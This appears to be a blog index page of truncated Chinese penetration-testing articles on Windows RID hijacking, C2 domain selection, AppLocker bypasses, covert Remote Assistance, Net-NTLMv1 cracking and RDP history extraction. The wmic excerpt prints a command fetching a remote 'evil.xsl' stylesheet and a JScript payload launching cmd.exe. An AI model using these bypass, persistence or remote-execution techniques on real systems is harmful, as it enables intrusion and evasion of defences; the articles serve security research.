Good in study, attitude and health

  • 渗透技巧——Windows帐户的RID Hijacking

    0x00 前言 在之前的文章《渗透技巧——Windows系统的帐户隐藏》介绍过利用帐户克隆建立隐藏帐户的技巧,是通过复制目标帐户对应注册表项F键的值,使得隐藏帐户获得了相同的权限。 如果换一种思路,将目标帐户对应注册表项F键的部分内容覆盖已有帐户,那么已有帐户能否获得目标帐户的权限呢? 这就是本文将要介绍的方法——RID Hijacking 注: 该方法最早公开于2017年12月,地址如下: http://csl.com.co/rid-hijacking/ 0x01 简介 本文将要介绍以下内容: RID劫持的方法 编写脚本的实现思路 利用分析 防御检测 0x02 相关概念 SID 全称Security Identifiers(安全标识符),是Windows系统用于唯一标识用户或组的可变长度结构 官方说明地址: https://msdn.microsoft.com/en-us//library/windows/desktop/aa379594(v=vs.85).aspx SID包含以下信息: The revision level of the SID structure 48-bit identifier authority value relative identifier (RID) 实例 Windows命令行执行whoami /all可获得当前用户的SID,如下图 SID为: S-1-5-21-2752016420-1571072424-526487797-1001 S表示该字符串是SID 1表示SID的版本号 5-21-2752016420-1571072424-526487797对应ID authority 1001表示RID RID Windows系统帐户对应固定的RID:...

  • 渗透基础——选择一个合适的C2域名

    0x00 前言 在渗透测试中,常常需要选择一个合适的域名作为c2服务器,那么什么样的域名才能称之为”合适”呢? expireddomains.net也许能够给你一些思路。 通过expireddomains.net能够查询到最近过期或删除的域名,更重要的是它提供了关键词搜索功能。 本文将要测试过期域名自动化搜索工具CatMyFish,分析原理,修正其中的bug,使用python编写一个爬虫,获得所有搜索结果。 0x01 简介 本文将要介绍以下内容: 测试过期域名自动化搜索工具CatMyFish 分析原理修正CatMyFish中的bug 爬虫开发思路和实现细节 开源python实现的爬虫代码 0x02 测试过期域名自动化搜索工具CatMyFish 下载地址: https://github.com/Mr-Un1k0d3r/CatMyFish 主要实现流程 用户输入关键词 脚本将搜索请求发送到expireddomains.net进行查询 获得域名列表 脚本将域名发送到Symantec BlueCoat进行查询 获取每个域名的类别 expireddomains.net地址: https://www.expireddomains.net/ Symantec BlueCoat地址: https://sitereview.bluecoat.com/ 实际测试 需要安装python库beautifulsoup4 pip install beautifulsoup4 尝试搜索关键词microsoft,脚本报错,如下图 脚本对结果的解析出现了问题 于是,按照CatMyFish的实现思路自己编写脚本测试一下 访问expireddomains.net查询关键词microsoft,代码如下: import urllib import urllib2 from bs4 import BeautifulSoup url = "https://www.expireddomains.net/domain-name-search/?q=microsoft" req...

  • 利用wmic调用xsl文件的分析与利用

    0x00 前言 Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。这个发现很有用,不仅可以作为一种白名单绕过的方法,而且可以作为payload来使用(从URL调用XSL脚本,利用XSL执行exe、shellcode、powershell脚本)。 本文将要对该项技术进行测试,结合自己的经验对其扩展,分享一个后门利用的思路,介绍同XXE漏洞结合的使用方法。 博客地址: https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1 0x01 简介 本文将要介绍以下内容: 测试Casey Smith的方法 脚本分析,分析后门利用思路 编写后门利用脚本 同XXE漏洞的结合 0x02 测试Casey Smith的方法 本地: wmic process list /FORMAT:evil.xsl 远程: wmic os get /FORMAT:"https://example.com/evil.xsl" xsl文件内容如下: <?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </ms:script> </stylesheet>...

  • CIA Hive Beacon Infrastructure复现2——使用Apache mod_rewrite实现https流量分发

    0x00 前言 上篇文章介绍了使用Apache的mod_rewrite模块来实现http流量分发,本文将在此基础上介绍https的流量分发,对客户端的证书进行判断,若证书有效,才会将流量转发至真实服务器。 0x01 简介 本文将要介绍以下内容: Windows系统下配置Apache开启ssl Ubuntu系统下配置Apache开启ssl 使用openssl生成证书的方法和难点 Apache Https双向认证的配置 实现https流量分发的过程 0x02 Windows系统下配置Apache开启ssl 1、下载包含openssl的Apache 地址: http://httpd.apache.org/download.cgi 选择需要的版本,测试版本Apache 2.4.33,下载地址: https://www.apachehaus.com/cgi-bin/download.plx?dli=wUWZ1allWW00kej9iUG5UeJVlUGRVYRdnWzQmW 2、安装 解压后通过命令行安装: cd \Apace24\bin httpd -k install 3、配置httpd.conf 位于\Apace24\conf\httpd.conf (1) 定位: #LoadModule ssl_module modules/mod_ssl.so 去掉# (2) 定位: <IfModule ssl_module> Include conf/extra/httpd-ahssl.conf SSLRandomSeed startup builtin SSLRandomSeed connect builtin </IfModule> 将Include conf/extra/httpd-ahssl.conf改为Include...

  • CIA Hive Beacon Infrastructure复现1——使用Apache mod_rewrite实现http流量分发

    0x00 前言 2017年11月9日维基解密公布一个代号为Vault8的文档,包含服务器远程控制工具Hive的源代码和开发文档。开发文档中的框架图显示Hive支持流量分发功能,若流量有效,转发至Honeycomb服务器,若流量存在问题,转发至Cover Server。 本文仅站在技术研究的角度,尝试使用Apache的mod_rewrite模块实现http流量分发,完成相同的目标。 标记后的框架图如下: 之前的分析文章: 《CIA Hive测试指南——源代码获取与简要分析》 0x01 简介 本文将要介绍以下内容: Windows系统下安装配置Apache mod_rewrite Ubuntu系统下安装配置Apache mod_rewrite 规则配置技巧与实例 根据判定条件实现http流量分发 0x02 Windows系统下安装配置Apache mod_rewrite 1、下载Apache 地址: http://httpd.apache.org/download.cgi 选择需要的版本,测试版本Apache 2.4.33,下载地址: https://www.apachehaus.com/cgi-bin/download.plx?dli=wUWZ1allWW00kej9iUG5UeJVlUGRVYRdnWzQmW 2、安装 解压后通过命令行安装: cd \Apace24\bin httpd -k install 3、开启mod_rewrite模块 编辑文件: \Apace24\conf\httpd.conf 找到#LoadModule rewrite_module modules/mod_rewrite.so,去掉# 4、开启支持.htaccess文件 编辑文件: \Apace24\conf\httpd.conf 定位如下位置: DocumentRoot "${SRVROOT}/htdocs" <Directory "${SRVROOT}/htdocs"> # #...

  • 利用Assembly Load & LoadFile绕过Applocker的分析总结

    0x00 前言 最近bohops在文章《Executing Commands and Bypassing AppLocker with PowerShell Diagnostic Scripts》中介绍了利用CL_LoadAssembly.ps1绕过Applocker的方法,Casey Smith早在SchmooCon 2015也提到了这个方法。本文将要对他们的两个实现方法进行复现,分析细节,比较区别,进而总结利用思路。 0x01 简介 本文将要介绍以下内容: 复现bohops的方法 复现Casey Smith的方法 细节分析 总结利用思路 0x02 复现bohops的方法 测试系统: Win7 x86 开启Applocker,开启方法可参考文章《Bypass Windows AppLocker》 开发工具: VS2012 1、新建c#控制台工程ConsoleApplication5,默认代码如下: using System; using System.Collections.Generic; using System.Text; namespace ConsoleApplication5 { class Program { static void Main(string[] args) { }...

  • 渗透技巧——Windows远程协助的隐蔽执行

    0x00 前言 对于Windows系统,经常会用到远程桌面服务,通过界面对系统进行远程管理。 这其中存在一个不足:使用远程桌面服务进行远程登录(使用另一用户或是踢掉当前用户),无法获取到当前用户的系统状态。 如果想要查看(甚至是操作)当前用户的桌面,有什么好办法呢? 虽然我们可以通过编写程序来实现界面操作(捕获桌面信息,压缩传输,发送鼠标键盘消息等),但是如果能够使用Windows系统的默认功能,岂不是更好? 答案就是Windows系统的远程协助。 0x01 简介 本文将要介绍以下内容: 远程协助的基本操作 命令行下操作 编写c++程序隐藏界面,发送键盘消息,模拟用户点击确认 完整利用流程 检测方法 0x02 远程协助的基本操作 1、开启远程协助功能 System Properties -> Remote 选中Allow Remote Assistance connections to this computer 如下图 2、添加防火墙规则,允许远程协助的通信端口 Windows Firewall -> Allowed Programs 选中Remote Assistance 如下图 3、启动界面程序 运行 -> msra.exe 4、配置本机为服务端,请求其他人协助 选中Invite someone you trust to help...

  • Windows下的密码hash——Net-NTLMv1介绍

    0x00 前言 在之前的文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》分别对NTLM hash和Net-NTLMv2 hash做了介绍,对于Net-NTLMv2的上一个版本Net-NTLMv1,在安全性上相对来说更脆弱,具体脆弱在哪里呢?本文将要进行介绍 0x01 简介 本文将要介绍以下内容: Net-NTLMv1的加密方法 Net-NTLMv1的破解思路 Net-NTLMv1的利用思路 0x02 Net-NTLMv1的加密方法 对比Net-NTLMv2,Net-NTLMv2的加密流程如下: 客户端向服务器发送一个请求 服务器接收到请求后,生成一个16位的Challenge,发送回客户端 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服务器 服务器校验response Net-NTLMv1的加密流程如下: 客户端向服务器发送一个请求 服务器接收到请求后,生成一个8位的Challenge,发送回客户端 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服务器 服务器校验response 两者的流程相同,但加密算法不同,Net-NTLMv1相对脆弱 Net-NTLMv1 response的计算方法比较简单,方法如下(目前LM hash很少接触,不考虑): 将用户的NTLM hash分成三组,每组7比特(长度不够末尾填0),作为3DES加密算法的三组密钥,加密Server发来的Challenge 详情可参考: http://davenport.sourceforge.net/ntlm.html#theNtlmResponse 0x03 Net-NTLMv1的破解思路 1、捕获Net-NTLMv1数据包,提取关键数据,使用hashcat进行字典破解 服务器: 系统: Server2008 x64 IP: 192.168.62.144 登录用户名: log1 登录密码: logtest123! 客户端: 系统: Win7 x64...

  • 关于利用rundll32执行程序的分析

    0x00 前言 最近看到了一篇有趣的文章《Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Execution and Lateral Movement》,介绍了利用rundll32.exe加载url.dll,通过导出函数OpenURL执行程序的方法。于是我对此做了研究,整理成文,解决以下问题: 利用rundll32执行程序的细节和原理 利用脚本批量扫描dll,查找能够执行程序的dll 0x01 简介 本文将要介绍以下内容: rundll32加载dll的用法 OpenURL的用法 API ShellExecute的用法 三者结合实现通过rundll32直接执行程序 寻找其他可用的导出函数 利用powershell脚本批量获得dll的导出函数,筛选特定dll 0x02 相关细节 1、rundll32加载dll的用法 官方文档: https://support.microsoft.com/sk-sk/help/164787/info-windows-rundll-and-rundll32-interface 用法: rundll32 <dllname>,<entrypoint> <optional arguments> 参数<entrypoint>代表传入dll的导出函数名,在dll中定义如下: void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow); 参数<optional...

  • 渗透技巧——获得Windows系统的远程桌面连接历史记录

    0x00 前言 在渗透测试中,远程桌面连接的历史记录不可忽视,根据历史记录往往能定位出关键的服务器。 前几天有一篇文章介绍了如何清除记录,那么这篇文章就来介绍一下如何导出历史记录。 清除记录的文章地址如下: http://woshub.com/how-to-clear-rdp-connections-history/#h2_3 最开始的设想是通过枚举注册表就能够完成,但深入研究发现,想要获得所有用户的历史记录,需要逐个获得用户的NTUSER.DAT文件,通过注册表加载配置单元,导入用户配置信息,再进行枚举才能够实现。 0x01 简介 本文将要介绍以下内容: 获得历史记录的思路 导出登录用户的历史记录 导出所有用户的历史记录 两种方法的实现思路和脚本编写细节 0x02 获得远程桌面连接历史记录的思路 1、获得当前用户的历史记录: 枚举注册表键值HKCU:\Software\Microsoft\Terminal Server Client\Servers 每个注册表项保存连接的服务器地址,其中的键值UsernameHint对应登录用户名 如下图 2、获得已登录用户的历史记录: 已登录用户的注册表信息会同步保存在HKEY_USERS\SID下,SID要对应每个用户的SID 当前系统登录两个用户,分别有两个子项,如下图 注: HKEY_USERS仅包含了缺省用户设置和登录用户的信息,在用户未登录时用户的设置是不可用的 也就是说,如果当前登录了两个用户,那么这两个用户的注册表信息都会保存在HKEY_USERS\SID下,如果第三个用户未登录,无法直接获得该用户的注册表信息,也就无法导出该用户的远程桌面连接历史记录 所以,通过枚举注册表键值HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers能够获得已登录用户的远程桌面连接历史记录 3、获得所有用户的历史记录: 对于未登录用户,无法直接获得注册表配置信息,这里可以通过加载配置单元的方式来解决 选中HKEY_USERS项,文件-加载配置单元,如下图 打开用户的NTUSER.DAT文件,路径为C:\Documents and Settings\用户名\NTUSER.DAT 接着指定一个项名称,即可在HKEY_USERS下读取该用户的注册表配置信息,如下图 注: 删除该项需要通过卸载配置单元来清除 所以,想要获得所有用户的远程桌面连接历史记录,首先需要枚举注册表键值HKEY_USERS\SID\,对于未登录用户,需要加载对应的NTUSER.DAT文件,再次枚举获得完整记录,最后卸载对应的注册表项 补充: 通过命令行实现加载配置单元的实例: Reg load HKEY_USERS\S-1-5-21-1170783345-3748964848-1387080272-1003 C:\Documents and Settings\c\NTUSER.DAT 通过命令行实现卸载配置单元的实例:...